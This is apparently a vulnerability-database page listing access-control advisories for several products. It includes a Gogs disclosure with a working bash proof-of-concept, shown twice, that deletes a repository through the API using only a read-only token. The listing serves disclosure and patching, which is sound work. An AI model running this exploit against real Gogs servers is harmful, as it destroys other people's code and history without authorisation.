GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-284

Discouraged

Improper Access Control

Abstraction: Pillar · Status: Incomplete

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

9966 vulnerabilities reference this CWE, most recent first.

GHSA-RJRJ-8C3C-JMCP

Vulnerability from github – Published: 2022-05-17 03:04 – Updated: 2022-05-17 03:04
VLAI
Details

An elevation of privilege vulnerability in the Synaptics touchscreen driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31913197.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-8394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-01-12T15:59:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability in the Synaptics touchscreen driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31913197.",
  "id": "GHSA-rjrj-8c3c-jmcp",
  "modified": "2022-05-17T03:04:29Z",
  "published": "2022-05-17T03:04:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8394"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2016-12-01.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94682"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJRQ-93HP-22WW

Vulnerability from github – Published: 2022-05-02 03:23 – Updated: 2025-04-10 01:15
VLAI
Summary
Frontend User Registration extension for TYPO3 does not properly verify access rights
Details

Frontend User Registration (sr_feuser_register) extension 2.5.20 and earlier for TYPO3 does not properly verify access rights, which allows remote authenticated users to obtain sensitive information such as passwords via unknown attack vectors.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sjbr/sr-feuser-register"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2009-1264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-10T01:15:25Z",
    "nvd_published_at": "2009-04-07T23:30:00Z",
    "severity": "HIGH"
  },
  "details": "Frontend User Registration (sr_feuser_register) extension 2.5.20 and earlier for TYPO3 does not properly verify access rights, which allows remote authenticated users to obtain sensitive information such as passwords via unknown attack vectors.",
  "id": "GHSA-rjrq-93hp-22ww",
  "modified": "2025-04-10T01:15:25Z",
  "published": "2022-05-02T03:23:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1264"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-extensions/sr_feuser_register"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20090527190538/http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-004"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200228205603/http://www.securityfocus.com/bid/34374"
    },
    {
      "type": "WEB",
      "url": "http://typo3.org/extensions/repository/view/sr_feuser_register/2.5.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Frontend User Registration extension for TYPO3 does not properly verify access rights"
}

GHSA-RJV5-9PX2-FQW6

Vulnerability from github – Published: 2026-02-06 19:47 – Updated: 2026-02-06 19:47
VLAI
Summary
Gogs has authorization bypass in repository deletion API
Details

Summary

The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.

This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().

Details

  1. vulnerability location:

  2. Vulnerable Endpoint:DELETE /api/v1/repos/:owner/:repo

  3. Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
  4. Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)

  5. Root Cause Analysis

Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)

// 当前的路由配置(存在漏洞)
m.Delete("", repo.Delete)  // 仅继承了外层的 repoAssignment() 中间件

Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)

// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
    // 直接执行删除操作,未验证用户是否为所有者
    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
        c.Error(500, "DeleteRepository", err)
        return
    }
    c.Status(204)
}
  1. Missing Permission Check Comparison with route configurations for other sensitive operations:
// Webhooks 管理(正确实现)
m.Group("/hooks", func() {
    m.Combo("").
        Get(repo.ListHooks).
        Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 部署密钥管理(正确实现)
m.Group("/keys", func() {
    m.Combo("").
        Get(repo.ListDeployKeys).
        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 删除仓库(漏洞)
m.Delete("", repo.Delete)  // ❌ 没有使用权限中间件
  1. Data Flow Path

  2. API Request Path: DELETE /api/v1/repos/:owner/:repo

  3. Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
  4. Execution: The system directly executes the repo.Delete() function.
  5. Permission Check: The reqRepoOwner() middleware check is missing.
  6. Internal Validation: There is no permission validation inside the Delete() function either.
  7. Result: Any user with read permission can delete the repository.

PoC

Prerequisites

  • A running Gogs instance.
  • The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
  • The attacker possesses a valid API access token.
  • The target repository exists and is accessible.

📜 Test Steps (Bash)

  1. Verify Gogs service is running curl -I http://localhost:10880

  2. Create test accounts and repository

  3. Owner account: owner / owner123456
  4. Read-only account: victim / victim123456
  5. Test repository: owner/delete-test image

  6. Add 'victim' as a read-only collaborator Perform this via the Web UI or API image image

  7. Obtain API token for 'victim' curl -X POST http://localhost:10880/api/v1/users/victim/tokens \ -u victim:victim123456 \ -H "Content-Type: application/json" \ -d '{"name":"test-token"}'

  8. Resource deleted image Web UI:Target repository deletion successful image

📜 PoC Script

#!/bin/bash
# Gogs 仓库删除授权绕过漏洞 PoC

# ============ 配置信息 ============
GOGS_URL="http://localhost:10880"
TARGET_REPO="owner/delete-test"
VICTIM_TOKEN="your_victim_read_only_token_here"

# ============ 执行攻击 ============
echo "========================================"
echo "Gogs 仓库删除授权绕过漏洞 PoC"
echo "========================================"
echo ""
echo "目标仓库: $TARGET_REPO"
echo "攻击者权限: Read(只读)"
echo "预期行为: 403 Forbidden(应该被拒绝)"
echo ""

# 步骤1:验证仓库存在
echo "[步骤1] 验证目标仓库存在..."
REPO_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: token $VICTIM_TOKEN" \
  "$GOGS_URL/api/v1/repos/$TARGET_REPO")

if [ "$REPO_CHECK" == "200" ]; then
    echo "✓ 仓库存在且可访问"
else
    echo "✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)"
    exit 1
fi

# 步骤2:尝试删除仓库(漏洞利用)
echo ""
echo "[步骤2] 使用只读权限尝试删除仓库..."
DELETE_RESPONSE=$(curl -s -w "\nHTTP_CODE:%{http_code}" \
  -X DELETE \
  -H "Authorization: token $VICTIM_TOKEN" \
  "$GOGS_URL/api/v1/repos/$TARGET_REPO")

DELETE_CODE=$(echo "$DELETE_RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2)

echo "实际状态码: $DELETE_CODE"
echo ""

# 步骤3:验证结果
if [ "$DELETE_CODE" == "204" ] || [ "$DELETE_CODE" == "200" ]; then
    echo "========================================"
    echo "🔴 漏洞确认:删除成功!"
    echo "========================================"
    echo ""
    echo "只读权限用户成功删除了仓库!"
    echo ""

    # 验证仓库是否真的被删除
    sleep 2
    echo "验证仓库是否真的被删除..."
    VERIFY_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
      -H "Authorization: token $VICTIM_TOKEN" \
      "$GOGS_URL/api/v1/repos/$TARGET_REPO")

    if [ "$VERIFY_CHECK" == "404" ]; then
        echo "✗ 仓库已被完全删除(404 Not Found)"
        echo ""
        echo "危害确认:"
        echo "  - 仓库及所有数据永久丢失"
        echo "  - 代码历史记录不可恢复"
        echo "  - 这是一个 HIGH 级别的严重漏洞"
    else
        echo "? 仓库状态未知 (状态码: $VERIFY_CHECK)"
    fi

elif [ "$DELETE_CODE" == "403" ]; then
    echo "========================================"
    echo "✅ 无漏洞:操作被正确拒绝"
    echo "========================================"
    echo ""
    echo "只读权限用户无法删除仓库,权限检查正常"

else
    echo "========================================"
    echo "⚠️  未预期的响应"
    echo "========================================"
    echo ""
    echo "状态码: $DELETE_CODE"
    echo "这可能表示 API 端点不存在或其他错误"
fi

echo ""
echo "========================================"
echo "PoC 执行完成"
echo "========================================"

Impact

Vulnerability Type: Broken Access Control (CWE-284)

Description: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.

Consequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.

Severity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.

The Core Risk: Privilege Escalation & Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.13.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T19:47:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.\n\nThis vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().\n\n### Details\n0. vulnerability location:\n\n- Vulnerable Endpoint\uff1aDELETE /api/v1/repos/:owner/:repo\n- Routing configuration file: internal/route/api/v1/api.go (approximately line 253)\n- Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)\n\n1. Root Cause Analysis\n\nCode Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)\n\n```go\n// \u5f53\u524d\u7684\u8def\u7531\u914d\u7f6e\uff08\u5b58\u5728\u6f0f\u6d1e\uff09\nm.Delete(\"\", repo.Delete)  // \u4ec5\u7ee7\u627f\u4e86\u5916\u5c42\u7684 repoAssignment() \u4e2d\u95f4\u4ef6\n```\n\nCode Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)\n```go\n// Delete \u51fd\u6570\u5185\u90e8\u6ca1\u6709\u989d\u5916\u7684\u6743\u9650\u68c0\u67e5\nfunc Delete(c *context.APIContext) {\n    // \u76f4\u63a5\u6267\u884c\u5220\u9664\u64cd\u4f5c\uff0c\u672a\u9a8c\u8bc1\u7528\u6237\u662f\u5426\u4e3a\u6240\u6709\u8005\n    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {\n        c.Error(500, \"DeleteRepository\", err)\n        return\n    }\n    c.Status(204)\n}\n```\n\n2. Missing Permission Check\nComparison with route configurations for other sensitive operations:\n\n```go\n// Webhooks \u7ba1\u7406\uff08\u6b63\u786e\u5b9e\u73b0\uff09\nm.Group(\"/hooks\", func() {\n    m.Combo(\"\").\n        Get(repo.ListHooks).\n        Post(bind(api.CreateHookOption{}), repo.CreateHook)\n}, reqRepoAdmin())  // \u2705 \u4f7f\u7528\u4e86\u6743\u9650\u4e2d\u95f4\u4ef6\n\n// \u90e8\u7f72\u5bc6\u94a5\u7ba1\u7406\uff08\u6b63\u786e\u5b9e\u73b0\uff09\nm.Group(\"/keys\", func() {\n    m.Combo(\"\").\n        Get(repo.ListDeployKeys).\n        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)\n}, reqRepoAdmin())  // \u2705 \u4f7f\u7528\u4e86\u6743\u9650\u4e2d\u95f4\u4ef6\n\n// \u5220\u9664\u4ed3\u5e93\uff08\u6f0f\u6d1e\uff09\nm.Delete(\"\", repo.Delete)  // \u274c \u6ca1\u6709\u4f7f\u7528\u6743\u9650\u4e2d\u95f4\u4ef6\n```\n3. Data Flow Path\n\n- API Request Path: DELETE /api/v1/repos/:owner/:repo\n- Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).\n- Execution: The system directly executes the repo.Delete() function.\n- Permission Check: The reqRepoOwner() middleware check is missing.\n- Internal Validation: There is no permission validation inside the Delete() function either.\n- Result: Any user with read permission can delete the repository.\n\n\n### PoC\n\nPrerequisites\n\n- A running Gogs instance.\n- The attacker\u0027s account is added as a collaborator to the target repository (Read access is sufficient).\n- The attacker possesses a valid API access token.\n- The target repository exists and is accessible.\n\n\ud83d\udcdc Test Steps (Bash)\n\n1. Verify Gogs service is running\ncurl -I http://localhost:10880\n\n2. Create test accounts and repository\n- Owner account: owner / owner123456\n- Read-only account: victim / victim123456\n- Test repository: owner/delete-test\n\u003cimg width=\"1580\" height=\"832\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db\" /\u003e\n\n\n3. Add \u0027victim\u0027 as a read-only collaborator\nPerform this via the Web UI or API\n\u003cimg width=\"1597\" height=\"725\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0\" /\u003e\n\u003cimg width=\"1597\" height=\"760\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16\" /\u003e\n\n\n\n4. Obtain API token for \u0027victim\u0027\ncurl -X POST http://localhost:10880/api/v1/users/victim/tokens \\\n  -u victim:victim123456 \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"test-token\"}\u0027\n\n5. Resource deleted\n\u003cimg width=\"1602\" height=\"483\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff\" /\u003e\nWeb UI\uff1aTarget repository deletion successful\n\u003cimg width=\"1581\" height=\"853\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fbd6b4a4-c874-44f9-9b6e-765371eddcc7\" /\u003e\n\n\n\ud83d\udcdc PoC Script\n\n```bash\n#!/bin/bash\n# Gogs \u4ed3\u5e93\u5220\u9664\u6388\u6743\u7ed5\u8fc7\u6f0f\u6d1e PoC\n\n# ============ \u914d\u7f6e\u4fe1\u606f ============\nGOGS_URL=\"http://localhost:10880\"\nTARGET_REPO=\"owner/delete-test\"\nVICTIM_TOKEN=\"your_victim_read_only_token_here\"\n\n# ============ \u6267\u884c\u653b\u51fb ============\necho \"========================================\"\necho \"Gogs \u4ed3\u5e93\u5220\u9664\u6388\u6743\u7ed5\u8fc7\u6f0f\u6d1e PoC\"\necho \"========================================\"\necho \"\"\necho \"\u76ee\u6807\u4ed3\u5e93: $TARGET_REPO\"\necho \"\u653b\u51fb\u8005\u6743\u9650: Read\uff08\u53ea\u8bfb\uff09\"\necho \"\u9884\u671f\u884c\u4e3a: 403 Forbidden\uff08\u5e94\u8be5\u88ab\u62d2\u7edd\uff09\"\necho \"\"\n\n# \u6b65\u9aa41\uff1a\u9a8c\u8bc1\u4ed3\u5e93\u5b58\u5728\necho \"[\u6b65\u9aa41] \u9a8c\u8bc1\u76ee\u6807\u4ed3\u5e93\u5b58\u5728...\"\nREPO_CHECK=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -H \"Authorization: token $VICTIM_TOKEN\" \\\n  \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n\nif [ \"$REPO_CHECK\" == \"200\" ]; then\n    echo \"\u2713 \u4ed3\u5e93\u5b58\u5728\u4e14\u53ef\u8bbf\u95ee\"\nelse\n    echo \"\u2717 \u4ed3\u5e93\u4e0d\u5b58\u5728\u6216\u65e0\u6743\u8bbf\u95ee (\u72b6\u6001\u7801: $REPO_CHECK)\"\n    exit 1\nfi\n\n# \u6b65\u9aa42\uff1a\u5c1d\u8bd5\u5220\u9664\u4ed3\u5e93\uff08\u6f0f\u6d1e\u5229\u7528\uff09\necho \"\"\necho \"[\u6b65\u9aa42] \u4f7f\u7528\u53ea\u8bfb\u6743\u9650\u5c1d\u8bd5\u5220\u9664\u4ed3\u5e93...\"\nDELETE_RESPONSE=$(curl -s -w \"\\nHTTP_CODE:%{http_code}\" \\\n  -X DELETE \\\n  -H \"Authorization: token $VICTIM_TOKEN\" \\\n  \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n\nDELETE_CODE=$(echo \"$DELETE_RESPONSE\" | grep \"HTTP_CODE:\" | cut -d: -f2)\n\necho \"\u5b9e\u9645\u72b6\u6001\u7801: $DELETE_CODE\"\necho \"\"\n\n# \u6b65\u9aa43\uff1a\u9a8c\u8bc1\u7ed3\u679c\nif [ \"$DELETE_CODE\" == \"204\" ] || [ \"$DELETE_CODE\" == \"200\" ]; then\n    echo \"========================================\"\n    echo \"\ud83d\udd34 \u6f0f\u6d1e\u786e\u8ba4\uff1a\u5220\u9664\u6210\u529f\uff01\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"\u53ea\u8bfb\u6743\u9650\u7528\u6237\u6210\u529f\u5220\u9664\u4e86\u4ed3\u5e93\uff01\"\n    echo \"\"\n    \n    # \u9a8c\u8bc1\u4ed3\u5e93\u662f\u5426\u771f\u7684\u88ab\u5220\u9664\n    sleep 2\n    echo \"\u9a8c\u8bc1\u4ed3\u5e93\u662f\u5426\u771f\u7684\u88ab\u5220\u9664...\"\n    VERIFY_CHECK=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n      -H \"Authorization: token $VICTIM_TOKEN\" \\\n      \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n    \n    if [ \"$VERIFY_CHECK\" == \"404\" ]; then\n        echo \"\u2717 \u4ed3\u5e93\u5df2\u88ab\u5b8c\u5168\u5220\u9664\uff08404 Not Found\uff09\"\n        echo \"\"\n        echo \"\u5371\u5bb3\u786e\u8ba4\uff1a\"\n        echo \"  - \u4ed3\u5e93\u53ca\u6240\u6709\u6570\u636e\u6c38\u4e45\u4e22\u5931\"\n        echo \"  - \u4ee3\u7801\u5386\u53f2\u8bb0\u5f55\u4e0d\u53ef\u6062\u590d\"\n        echo \"  - \u8fd9\u662f\u4e00\u4e2a HIGH \u7ea7\u522b\u7684\u4e25\u91cd\u6f0f\u6d1e\"\n    else\n        echo \"? \u4ed3\u5e93\u72b6\u6001\u672a\u77e5 (\u72b6\u6001\u7801: $VERIFY_CHECK)\"\n    fi\n    \nelif [ \"$DELETE_CODE\" == \"403\" ]; then\n    echo \"========================================\"\n    echo \"\u2705 \u65e0\u6f0f\u6d1e\uff1a\u64cd\u4f5c\u88ab\u6b63\u786e\u62d2\u7edd\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"\u53ea\u8bfb\u6743\u9650\u7528\u6237\u65e0\u6cd5\u5220\u9664\u4ed3\u5e93\uff0c\u6743\u9650\u68c0\u67e5\u6b63\u5e38\"\n    \nelse\n    echo \"========================================\"\n    echo \"\u26a0\ufe0f  \u672a\u9884\u671f\u7684\u54cd\u5e94\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"\u72b6\u6001\u7801: $DELETE_CODE\"\n    echo \"\u8fd9\u53ef\u80fd\u8868\u793a API \u7aef\u70b9\u4e0d\u5b58\u5728\u6216\u5176\u4ed6\u9519\u8bef\"\nfi\n\necho \"\"\necho \"========================================\"\necho \"PoC \u6267\u884c\u5b8c\u6210\"\necho \"========================================\"\n```\n\n\n### Impact\nVulnerability Type: Broken Access Control (CWE-284)\n\nDescription: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.\n\nConsequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.\n\nSeverity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.\n\nThe Core Risk: Privilege Escalation \u0026 Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).",
  "id": "GHSA-rjv5-9px2-fqw6",
  "modified": "2026-02-06T19:47:26Z",
  "published": "2026-02-06T19:47:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-rjv5-9px2-fqw6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.13.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gogs has authorization bypass in repository deletion API"
}

GHSA-RM22-52JF-H579

Vulnerability from github – Published: 2022-05-14 03:01 – Updated: 2022-05-14 03:01
VLAI
Details

IBM WebSphere Cast Iron 6.3 allows remote attackers to bypass intended access restrictions via unspecified vectors. IBM X-Force ID: 83868.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-2972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-11T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Cast Iron 6.3 allows remote attackers to bypass intended access restrictions via unspecified vectors. IBM X-Force ID: 83868.",
  "id": "GHSA-rm22-52jf-h579",
  "modified": "2022-05-14T03:01:05Z",
  "published": "2022-05-14T03:01:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2972"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83868"
    },
    {
      "type": "WEB",
      "url": "https://www-01.ibm.com/support/docview.wss?uid=swg21635993"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RM2F-5XVP-F49W

Vulnerability from github – Published: 2025-08-19 15:31 – Updated: 2025-08-19 21:30
VLAI
Details

A vulnerability exists in riscv-boom SonicBOOM 1.2 (BOOMv1.2) processor implementation, where valid virtual-to-physical address translations configured with write permissions (PTE_W) in SV39 mode may incorrectly trigger a Store/AMO access fault during store instructions (sd). This occurs despite the presence of proper page table entries and valid memory access modes. The fault is reproducible when transitioning into virtual memory and attempting store operations in mapped kernel memory, indicating a potential flaw in the MMU, PMP, or memory access enforcement logic. This may cause unexpected kernel panics or denial of service in systems using BOOMv1.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-50897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-19T15:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability exists in riscv-boom SonicBOOM 1.2 (BOOMv1.2) processor implementation, where valid virtual-to-physical address translations configured with write permissions (PTE_W) in SV39 mode may incorrectly trigger a Store/AMO access fault during store instructions (sd). This occurs despite the presence of proper page table entries and valid memory access modes. The fault is reproducible when transitioning into virtual memory and attempting store operations in mapped kernel memory, indicating a potential flaw in the MMU, PMP, or memory access enforcement logic. This may cause unexpected kernel panics or denial of service in systems using BOOMv1.2.",
  "id": "GHSA-rm2f-5xvp-f49w",
  "modified": "2025-08-19T21:30:36Z",
  "published": "2025-08-19T15:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LuLuji04/POC-Boomv1.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/riscv-boom/riscv-boom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/riscv-software-src/riscv-isa-sim"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RM3J-JJ6H-QRQ4

Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2024-09-25 03:30
VLAI
Details

Incorrect access control in IceCMS v3.4.7 and before allows attackers to authenticate by entering any arbitrary values as the username and password via the loginAdmin method in the UserController.java file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-46607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-25T01:15:44Z",
    "severity": "HIGH"
  },
  "details": "Incorrect access control in IceCMS v3.4.7 and before allows attackers to authenticate by entering any arbitrary values as the username and password via the loginAdmin method in the UserController.java file.",
  "id": "GHSA-rm3j-jj6h-qrq4",
  "modified": "2024-09-25T03:30:36Z",
  "published": "2024-09-25T03:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lunax0/LogLunax/blob/main/icecms/CVE-2024-46607.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Thecosy/iceCMS?tab=readme-ov-file"
    },
    {
      "type": "WEB",
      "url": "http://icecms.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RM3M-Q3M3-2P24

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-07-30 03:30
VLAI
Details

An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. Any SIM card used with the device cannot have a PIN configured. If a PIN is configured, the device simply produces a "Remove PIN and restart!" message, and cannot be used. This makes it easier for an attacker to use the SIM card by stealing the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-20473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-01T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. Any SIM card used with the device cannot have a PIN configured. If a PIN is configured, the device simply produces a \"Remove PIN and restart!\" message, and cannot be used. This makes it easier for an attacker to use the SIM card by stealing the device.",
  "id": "GHSA-rm3m-q3m3-2p24",
  "modified": "2024-07-30T03:30:50Z",
  "published": "2022-05-24T17:40:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20473"
    },
    {
      "type": "WEB",
      "url": "https://www.eurofins-cybersecurity.com/news/connected-devices-smart-watches"
    },
    {
      "type": "WEB",
      "url": "https://www.tk-star.com"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RM3X-HGP8-PVXP

Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2024-07-17 00:32
VLAI
Details

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Approvals). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Purchasing accessible data as well as unauthorized read access to a subset of Oracle Purchasing accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Show details on source website

{
